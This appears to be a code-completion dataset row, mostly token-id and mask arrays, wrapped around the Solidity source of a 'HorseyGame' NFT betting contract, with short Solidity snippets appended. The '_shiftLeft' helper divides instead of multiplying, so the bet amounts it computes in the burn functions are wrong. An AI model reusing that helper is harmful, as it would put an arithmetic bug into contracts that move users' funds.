0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
1731,
1578,
2713,
11732,
28226,
67,
18192,
67,
4550,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
import "./interfaces/IHRSYToken.sol";
import "./interfaces/IRaceValidator.sol";
import "./WalletUser.sol";
import "../openzeppelin-solidity/contracts/lifecycle/Pausable.sol";
import "../openzeppelin-solidity/contracts/ownership/Ownable.sol";
import "../openzeppelin-solidity/contracts/math/SafeMath.sol";
/**
@title HorseyToken ERC721 Token
@dev Horse contract - horse derives from Pausable
*/
contract HorseyGame is WalletUser, Pausable, Ownable {
using SafeMath for uint256;
/// @dev called when someone claims his HORSE from a RWRD HRSY
event RewardClaimed(uint256 tokenId, address to, uint256 Amount);
/// @dev called when someone claims a token
event Claimed(address raceAddress, address eth_address, uint256 tokenId);
/// @dev called when someone ends a feeding process
event Upgraded(uint256 tokenId);
/// @dev called when a horsey is renamed
event Renamed(uint256 tokenId, string newName);
/// @dev called when a horsey is burned
event Burned(uint256 tokenId);
/// @dev called when someone purchases HXP using HORSE
event HXPPurchased(address account, uint256 amount);
/// @dev address of the HRSYToken
IHRSYToken public HRSYToken;
/// @dev race winner validation access interface
IRaceValidator public validator;
/// @dev Maps the values table for upgrading, burning, etc
mapping(bytes32 => uint256) public config;
/// @dev Maps a user to his wins count, used for claiming with RWRD HRSY
mapping(address => uint16) public wins;
/// @dev Maps an HRSY id to the wins counter value when last claimed reward
mapping(uint256 => uint16) public rewarded;
/// @dev Devs cut is the amount of HORSE earned by devs through their equity
uint256 devCut;
uint256 constant HORSE = 10**18;
/**
@dev Contracts constructor
Initializes token data
is pausable,ownable
@param tokenAddress Address of the official HRSYToken contract
@param validatorAddress Address of the current contract used for race validation
@param walletAddress Address of the current wallet contract
*/
constructor(address tokenAddress, address validatorAddress, address walletAddress)
WalletUser(walletAddress)
Pausable()
Ownable() public {
require(validatorAddress != address(0) && tokenAddress != address(0),"Invalid addresses");
HRSYToken = IHRSYToken(tokenAddress);
validator = IRaceValidator(validatorAddress);
//setting default values
//%
config["CONVRATE"] = 3;
config["CONVFEE"] = 9;
config["DEVEQ1"] = 10; //10% for the devs from the CONVFEE
config["DEVEQ2"] = 20; //20% for the devs from operation fees
config["CREATOREQ"] = 20; //20% HORSE goes to the RWRD HRSY creator
//HORSE
//Amount of HORSE required to claim and rename a token
config["CLAIMFEE"] = 10 * HORSE;
config["RENAMEFEE"] = 5 * HORSE;
//Amount of HORSE sent to the player FOR EACH Reward HRSY when he wins
//depends on the HRSY lvl (minimum lvl 3 required for RWRD0)
config["RWRD0"] = 500 * HORSE;
config["RWRD1"] = 1500 * HORSE;
config["RWRD2"] = 3000 * HORSE;
//Amount of HORSE required to burn a normal and a rare HRSY
config["BURNFEE0"] = 2 * HORSE;
config["BURNFEE1"] = 10 * HORSE;
//Amount of HORSE required to lvl up an HRSY
config["UPGRFEE"] = 50 * HORSE;
//HXP
//Burning rewards in HXP for a normal and a rare HRSY
config["BURN0"] = 1000;
config["BURN1"] = 5000;
//Allows to multiply the reward for burning based on the bet amount.
//BURNMULT is a /100 ratio
config["BURNMULT"] = 100;
config["MINBET"] = 0.01 ether;
config["MAXBET"] = 1 ether;
//minimum bet multiplier
config["BETMULT"] = 200;
//Upgrade costs in HXP for all lvls
config["UPGR0"] = 5000;
config["UPGR1"] = 200000;
config["UPGR2"] = 800000;
config["UPGR3"] = 1200000;
//begin and start timestamps of bonus period
config["BPERIODBEGIN"] = 1538517600; // October 3th 2018
config["BPERIODEND"] = 1543618800; // December 1st 2018
//bonus period multiplier in %
config["BONUSMULT"] = 200;
}
/**
@dev Change wallet address
@param validatorAddress the new address
*/
function setValidator(address validatorAddress) external
validAddress(validatorAddress)
onlyOwner() {
validator = IRaceValidator(validatorAddress);
}
/**
@dev Changes the amount of horse required to upgrade a horsey
@param name Name of the value to change
@param newValue The new value
*/
function setConfigValue(bytes32 name, uint256 newValue) external
onlyOwner() {
config[name] = newValue;
}
/**
@dev Owner can withdraw the current HORSE balance
*/
function withdraw() external
onlyOwner() {
if(devCut > 0) {
_wallet.withdrawPool(devCut); //get all the HORSE we earned from the wallet
//send them to our owner
uint256 toSend = devCut;
devCut = 0;
_horseToken.transfer(owner(),toSend);
}
}
/**
@dev Returns horsey data of a given token
@param tokenId ID of the horsey to fetch
@return (race address, dna, upgradeCounter, name)
*/
function getHorsey(uint256 tokenId) public view returns (address, bytes32, uint8, string, uint32) {
bytes32 dna;
address race;
uint32 betAmountFinney;
uint8 upgradeCounter;
(dna, race, betAmountFinney, upgradeCounter) = HRSYToken.horseys(tokenId);
return (race,dna,upgradeCounter,HRSYToken.names(tokenId),betAmountFinney);
}
/**
@dev Claiming HORSE from a reward HRSY
@param tokenId ID of the RWRD HRSY
*/
function claimRWRD(uint256 tokenId) external
whenNotPaused()
onlyOwnerOf(tokenId) {
address originalOwner = HRSYToken.owners(tokenId);
//compute the amount of unclaimed wins
require(rewarded[tokenId] <= wins[originalOwner],"rewarded > wins");
uint256 amount = wins[originalOwner] - rewarded[tokenId];
if (amount > 0) {
uint8 upgradeCounter;
(,,,upgradeCounter) = HRSYToken.horseys(tokenId);
require(upgradeCounter > 1,"You must upgrade this HRSY before claiming");
//set this to the current counter to prevent claiming multiple times from same wins
rewarded[tokenId] = wins[originalOwner];
uint256 horseAmount = _getSelectRWRD(upgradeCounter).mul(amount);
//credit the original creator some HORSE
uint256 creatorDue = horseAmount.div(100).mul(config["CREATOREQ"]);
if(creatorDue > 0) {
_wallet.transferFromAndTo(address(_wallet),originalOwner,creatorDue);
}
//credit user the HORSE
_wallet.transferFromAndTo(address(_wallet),msg.sender,horseAmount.sub(creatorDue));
emit RewardClaimed(tokenId,msg.sender,horseAmount);
}
}
/**
@dev Claiming HORSE from multiple reward HRSY
@param tokenIds Array of ID of the token to burn
*/
function claimMultRWRD(uint256[] tokenIds) external
whenNotPaused() {
uint256 totalHorseAmount = 0;
//first try to claim from all tokens
uint arrayLength = tokenIds.length;
require(arrayLength <= 10, "Maximum 10 at a time");
for (uint i = 0; i < arrayLength; i++) {
require(HRSYToken.ownerOf(tokenIds[i]) == msg.sender, "Caller is not owner of this token");
address originalOwner = HRSYToken.owners(tokenIds[i]);
//compute the amount of unclaimed wins
if(wins[originalOwner] > rewarded[tokenIds[i]]) {
//admissible for rewards
uint256 amount = wins[originalOwner] - rewarded[tokenIds[i]];
uint8 upgradeCounter;
(,,,upgradeCounter) = HRSYToken.horseys(tokenIds[i]);
require(upgradeCounter > 1,"You must upgrade this HRSY before claiming");
//set this to the current counter to prevent claiming multiple times from same wins
rewarded[tokenIds[i]] = wins[originalOwner];
uint256 horseRewardAmount = 0;
if(upgradeCounter == 2) {
horseRewardAmount = config["RWRD0"].mul(amount);
} else if(upgradeCounter == 3) {
horseRewardAmount = config["RWRD1"].mul(amount);
} else if(upgradeCounter == 4) {
horseRewardAmount = config["RWRD2"].mul(amount);
}
uint256 creatorDue = horseRewardAmount.div(100).mul(config["CREATOREQ"]);
if(creatorDue > 0) {
_wallet.transferFromAndTo(address(_wallet),originalOwner,creatorDue);
}
totalHorseAmount = totalHorseAmount.add(horseRewardAmount.sub(creatorDue));
emit RewardClaimed(tokenIds[i],msg.sender,totalHorseAmount);
}
}
if(totalHorseAmount > 0) {
//credit user the HORSE
_wallet.transferFromAndTo(address(_wallet),msg.sender,totalHorseAmount);
}
}
/**
@dev Allows a user to claim an HRSY for a fee in HORSE
Cant be used on paused
The sender has to be a winner of the race and must never have claimed a horsey from this race
@param raceAddress The race's address
*/
function claim(address raceAddress) external
whenNotPaused()
{
//check that the user won
bytes32 winner;
bool res;
uint256 betAmount;
uint256 totalBetAmount;
(res,winner,betAmount,totalBetAmount) = validator.validateWinner(raceAddress, msg.sender);
require(res,"validateWinner returned false");
//check that the user bet enough
uint16 rewardHorseyCount = HRSYToken.count(msg.sender);
uint256 minBet = config["MINBET"];
if(rewardHorseyCount > 0) {
//the minimal bet is based on the amount of reward horseys
//use the 2x function 0.01 0.02 0.04 0.08 0.16 0.32 0.64 1.25
minBet = rewardHorseyCount.mul(config["MINBET"].div(100).mul(config["BETMULT"]));
}
//make sure he respected the minimal bet amount
require(totalBetAmount >= minBet,"You didnt bet enough and cant claim from this race!");
uint256 poolFee = config["CLAIMFEE"];
//get the HORSE from user account
_processPayment(msg.sender,poolFee);
//unique property is already be checked by minting function
uint256 id = _generate_horsey(raceAddress, msg.sender, winner, betAmount);
require(!HRSYToken.cemetery(id),"This horsey was already claimed and burned");
//add this to the users wins counter
wins[msg.sender] = wins[msg.sender].add(1);
emit Claimed(raceAddress, msg.sender, id);
}
/**
@dev Allows a user to claim a list of HRSY tokens for a fee in HORSE
Reduces a bit the gas cost per token
Cant be used on paused
The sender has to be a winner of the race and must never have claimed a horsey from this race
@param raceContractIds Array of races addresses
*/
function claimMult(address[] raceContractIds) external
whenNotPaused()
{
//useful variables
bytes32 winner;
bool res;
uint256 betAmount;
uint256 totalBetAmount;
//first try to claim all tokens
uint arrayLength = raceContractIds.length;
require(arrayLength <= 10, "Maximum 10 at a time");
uint16 length = uint16(arrayLength);
for (uint i = 0; i < arrayLength; i++) {
//check that the user won
(res,winner,betAmount,totalBetAmount) = validator.validateWinner(raceContractIds[i], msg.sender);
require(res,"validateWinner returned false");
//check that the user bet enough
uint16 rewardHorseyCount = HRSYToken.count(msg.sender);
uint256 minBet = config["MINBET"];
if(rewardHorseyCount > 0) {
//the minimal bet is based on the amount of reward horseys
//use the 2x function 0.01 0.02 0.04 0.08 0.16 0.32 0.64 1.25
minBet = rewardHorseyCount.mul(config["MINBET"].div(100).mul(config["BETMULT"]));
}
//make sure he respected the minimal bet amount
require(totalBetAmount >= minBet,"You didnt bet enough and cant claim from this race!");
//unique property is already be checked by minting function
uint256 id = _generate_horsey(raceContractIds[i], msg.sender, winner, betAmount);
emit Claimed(raceContractIds[i], msg.sender, id);
}
//add this to the users wins counter
wins[msg.sender] = wins[msg.sender].add(length);
//now process the payment
uint256 poolFee = config["CLAIMFEE"];
//get the HORSE from user account
_processPayment(msg.sender,poolFee*arrayLength);
}
/**
@dev Allows a user to give a horsey a name or rename it
This functions' cost is renamingFeePerChar * length(newname)
Cant be called while paused
@param tokenId ID of the horsey to rename
@param newName The name to give to the horsey
*/
function rename(uint256 tokenId, string newName) external
whenNotPaused()
onlyOwnerOf(tokenId)
{
uint256 renamingFee = config["RENAMEFEE"].mul(bytes(newName).length);
uint256 poolFee = renamingFee;
//get the HORSE from user account
_processPayment(msg.sender,poolFee);
//store the new name
HRSYToken.storeName(tokenId,newName);
emit Renamed(tokenId,newName);
}
/**
@dev Allows a user to burn a token he owns to get HORSE
Cant be called while paused
@param tokenId ID of the token to burn
*/
function burn(uint256 tokenId) external
whenNotPaused()
onlyOwnerOf(tokenId) {
uint8 upgradeCounter;
address contractId;
uint32 betAmountFinney;
(,contractId,betAmountFinney,upgradeCounter) = HRSYToken.horseys(tokenId);
uint256 betAmount = uint256(_shiftLeft(bytes32(betAmountFinney),15));
uint amountHXP = 0;
uint fee = 0;
if(upgradeCounter == 0) {
amountHXP = config["BURN0"];
fee = config["BURNFEE0"];
} else if(upgradeCounter == 1) {
amountHXP = config["BURN1"];
fee = config["BURNFEE1"];
} else {
revert("You can't burn this token");
}
//if the bet is superior to minimal bet an HXP bonus could apply
if((betAmount >= config["MINBET"])) {
uint256 maxBonus = config["MAXBET"].div(100).mul(config["BURNMULT"]);
uint burnBonus = betAmount.div(config["MAXBET"]).mul(maxBonus);
//clamp the HXP bonus
if(burnBonus > maxBonus) {
burnBonus = maxBonus;
}
amountHXP = amountHXP + burnBonus;
}
uint32 timestamp = validator.getRaceTime(contractId);
//SPECIAL CODE FOR BONUS PERIOD
if((timestamp > config["BPERIODBEGIN"]) && (timestamp < config["BPERIODEND"])) {
amountHXP = amountHXP.div(100).mul(config["BONUSMULT"]);
}
//destroy horsey
HRSYToken.unstoreHorsey(tokenId);
//credit this user HORSE from the HORSE fund
_wallet.creditHXP(msg.sender,amountHXP);
uint256 poolFee = fee;
//get the HORSE from user account
_processPayment(msg.sender,poolFee);
emit Burned(tokenId);
}
/**
@dev Allows a user to burn multiple tokens at once
Cant be called while paused
@param tokenIds Array of ID of the token to burn
*/
function burnMult(uint256[] tokenIds) external
whenNotPaused() {
//used multiple times
uint8 upgradeCounter;
address contractId;
uint32 betAmountFinney;
uint256 totalAmountHXP = 0;
uint256 totalPoolFee = 0;
require(tokenIds.length <= 10, "Maximum 10 at a time");
//first try to burn all tokens
for (uint i = 0; i < tokenIds.length; i++) {
require(HRSYToken.ownerOf(tokenIds[i]) == msg.sender, "Caller is not owner of this token");
(,contractId,betAmountFinney,upgradeCounter) = HRSYToken.horseys(tokenIds[i]);
uint256 betAmount = uint256(_shiftLeft(bytes32(betAmountFinney),15));
uint amountHXP = 0;
if(upgradeCounter == 0) {
amountHXP = config["BURN0"];
totalPoolFee = totalPoolFee.add(config["BURNFEE0"]);
} else if(upgradeCounter == 1) {
amountHXP = config["BURN1"];
totalPoolFee = totalPoolFee.add(config["BURNFEE1"]);
} else {
revert("You can't burn this token");
}
//if the bet is superior to minimal bet an HXP bonus could apply
if((betAmount >= config["MINBET"])) {
uint256 maxBonus = config["MAXBET"].div(100).mul(config["BURNMULT"]);
uint burnBonus = betAmount.div(config["MAXBET"]).mul(maxBonus);
//clamp the HXP bonus
if(burnBonus > maxBonus) {
burnBonus = maxBonus;
}
amountHXP = amountHXP + burnBonus;
}
uint32 timestamp = validator.getRaceTime(contractId);
//SPECIAL CODE FOR BONUS PERIOD
if((timestamp > config["BPERIODBEGIN"]) && (timestamp < config["BPERIODEND"])) {
amountHXP = amountHXP.div(100).mul(config["BONUSMULT"]);
}
//destroy horsey
HRSYToken.unstoreHorsey(tokenIds[i]);
totalAmountHXP = totalAmountHXP.add(amountHXP);
emit Burned(tokenIds[i]);
}
//get the HORSE from user account
_processPayment(msg.sender,totalPoolFee);
//credit this user HXP for all the HRSY he burned
_wallet.creditHXP(msg.sender,totalAmountHXP);
}
/**
@dev Allows to upgrade a horsey to increase its upgradeCounter value
Cant be called while paused
@param tokenId ID of the horsey to upgrade
*/
function upgrade(uint256 tokenId) external
whenNotPaused()
onlyOwnerOf(tokenId)
{
uint8 upgradeCounter;
(,,,upgradeCounter) = HRSYToken.horseys(tokenId);
uint amountHXP = 0;
if(upgradeCounter == 0) {
//create a "rare" HRSY
amountHXP = config["UPGR0"];
} else if(upgradeCounter == 1) {
//create a "reward" HRSY
amountHXP = config["UPGR1"];
//this is a new RWRD HRSY, store the Original Owner
HRSYToken.storeOwner(tokenId,msg.sender);
//and increase his RWRD count
HRSYToken.storeCount(msg.sender,HRSYToken.count(msg.sender)+1);
} else if(upgradeCounter == 2) {
//upgrade a "reward" HRSY to lvl 2
amountHXP = config["UPGR2"];
} else if(upgradeCounter == 3) {
//upgrade a "reward" HRSY to lvl 3
amountHXP = config["UPGR3"];
} else {
revert("token already at maximum");
}
//make sure we wont lose any rewards by upgrading a HRSY with left wins to claim
if(upgradeCounter >= 2) {
require(rewarded[tokenId] == wins[msg.sender],"You must claim your rewards before upgrading");
}
//set this to the current counter value every time a RWRD HRSY is created or upgraded to prevent claiming from past races
if(upgradeCounter >= 1) {
rewarded[tokenId] = wins[msg.sender];
}
//update the HRSY level
HRSYToken.modifyHorseyUpgradeCounter(tokenId,upgradeCounter+1);
//consume the required HXP
require(_wallet.balanceOfHXP(msg.sender) >= amountHXP,"Insufficient HXP funds");
_wallet.spendHXP(msg.sender,amountHXP);
uint256 poolFee = config["UPGRFEE"];
//get the HORSE from user account
_processPayment(msg.sender,poolFee);
emit Upgraded(tokenId);
}
/**
@dev Allows to purchase HXP using HORSE
@param amount Amount of HXP to buy
*/
function purchaseHXP(uint256 amount) external
whenNotPaused() {
require(amount > 0,"You must purchase at least 1 HXP");
uint256 horseAmount = amount.div(config["CONVRATE"]);
uint256 fee = (horseAmount.div(100).mul(config["CONVFEE"]));
uint256 total = fee.add(horseAmount);
//small part of the pool belongs to dev, store this amount here
devCut = devCut.add(fee.div(100).mul(config["DEVEQ1"]));
require(_wallet.balanceOf(msg.sender) >= total,"Insufficient HORSE funds");
_wallet.transferFromAndTo(msg.sender,address(_wallet),total);
_wallet.creditHXP(msg.sender,amount);
emit HXPPurchased(msg.sender,amount);
}
/**
@dev Returns the right RWRD amount based on the upgradeCounter
@param upgradeCounter the current amount of times the HRSY was upgraded
*/
function _getSelectRWRD(uint8 upgradeCounter) internal
returns (uint256) {
require(upgradeCounter >= 2 && upgradeCounter <= 4,"Only values between 2 and 4");
if(upgradeCounter == 2) {
return config["RWRD0"];
} else if(upgradeCounter == 3) {
return config["RWRD1"];
} else if(upgradeCounter == 4) {
return config["RWRD2"];
}
}
/// @dev creates a special token id based on the race and the coin index
function _makeId(address race, address sender, bytes32 coinIndex) internal pure returns (uint256) {
return uint256(keccak256(abi.encodePacked(race, sender, coinIndex)));
}
/**
@dev Internal function to generate a HRSY token
we then use the ERC721 inherited minting process
the dna is a bytes32 target for a keccak256. Not using blockhash
finaly, a bitmask zeros the first 2 bytes for rarity traits
@param race Address of the associated race
@param eth_address Address of the user to receive the token
@param coinIndex The index of the winning coin
@param betAmount Amount bet on this horse
@return ID of the token
*/
function _generate_horsey(address race, address eth_address, bytes32 coinIndex, uint256 betAmount) internal returns (uint256) {
uint256 id = _makeId(race, eth_address, coinIndex);
//generate dna and leave 0 in the rarity bit
bytes32 dna = _shiftRight(keccak256(abi.encodePacked(race, coinIndex)),16);
//storeHorsey checks if the token exists before minting already, so we dont have to here
uint32 betAmountFinney = uint32(_shiftRight(bytes32(betAmount),15)); //store the bet amount in finney not wei to save space
HRSYToken.storeHorsey(eth_address,id,race,dna,betAmountFinney,0);
return id;
}
/**
@dev Helpers to process payments in HORSE and applying fees
*/
function _processPayment(address from, uint256 amount) internal {
//get the HORSE from user account
//dont process if amount is 0 (its allowed though)
if(amount > 0) {
//small part of the pool belongs to dev, store this amount here
devCut = devCut.add(amount.div(100).mul(config["DEVEQ2"]));
//fetch the HORSE from the address and credit it
_wallet.transferFromAndTo(from,address(_wallet),amount);
}
}
/// @dev shifts a bytes32 right by n positions
function _shiftRight(bytes32 data, uint n) internal pure returns (bytes32) {
return bytes32(uint256(data).div(2 ** n));
}
/// @dev shifts a bytes32 left by n positions
function _shiftLeft(bytes32 data, uint n) internal pure returns (bytes32) {
return bytes32(uint256(data).div(2 ** n));
}
/// @dev requires the address to be non null
modifier validAddress(address addr) {
require(addr != address(0),"Address is zero");
_;
}
/// @dev requires that the user isnt feeding a horsey already
modifier onlyOwnerOf(uint256 tokenId) {
require(HRSYToken.ownerOf(tokenId) == msg.sender, "Caller is not owner of this token");
_;
}
} | make sure he respected the minimal bet amount | require(totalBetAmount >= minBet,"You didnt bet enough and cant claim from this race!");
| 13,020,882 | [
1,
6540,
3071,
3904,
400,
1789,
326,
16745,
2701,
3844,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
2583,
12,
4963,
38,
278,
6275,
1545,
1131,
38,
278,
10837,
6225,
5061,
496,
2701,
7304,
471,
848,
88,
7516,
628,
333,
17996,
4442,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/8453/0x240E59dbEf770FfB4fff027a6A5A1F7196f14762/sources/StarNFTV4.sol | * @dev See {IERC721-getApproved}./ | function getApproved(uint256 tokenId)
public
view
override
returns (address)
{
require(
_exists(tokenId),
"ERC721: approved query for nonexistent token"
);
return _tokenApprovals[tokenId];
}
| 16,762,777 | [
1,
9704,
288,
45,
654,
39,
27,
5340,
17,
588,
31639,
5496,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
336,
31639,
12,
11890,
5034,
1147,
548,
13,
203,
565,
1071,
203,
565,
1476,
203,
565,
3849,
203,
565,
1135,
261,
2867,
13,
203,
565,
288,
203,
3639,
2583,
12,
203,
5411,
389,
1808,
12,
2316,
548,
3631,
203,
5411,
315,
654,
39,
27,
5340,
30,
20412,
843,
364,
1661,
19041,
1147,
6,
203,
3639,
11272,
203,
203,
3639,
327,
389,
2316,
12053,
4524,
63,
2316,
548,
15533,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.21;
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
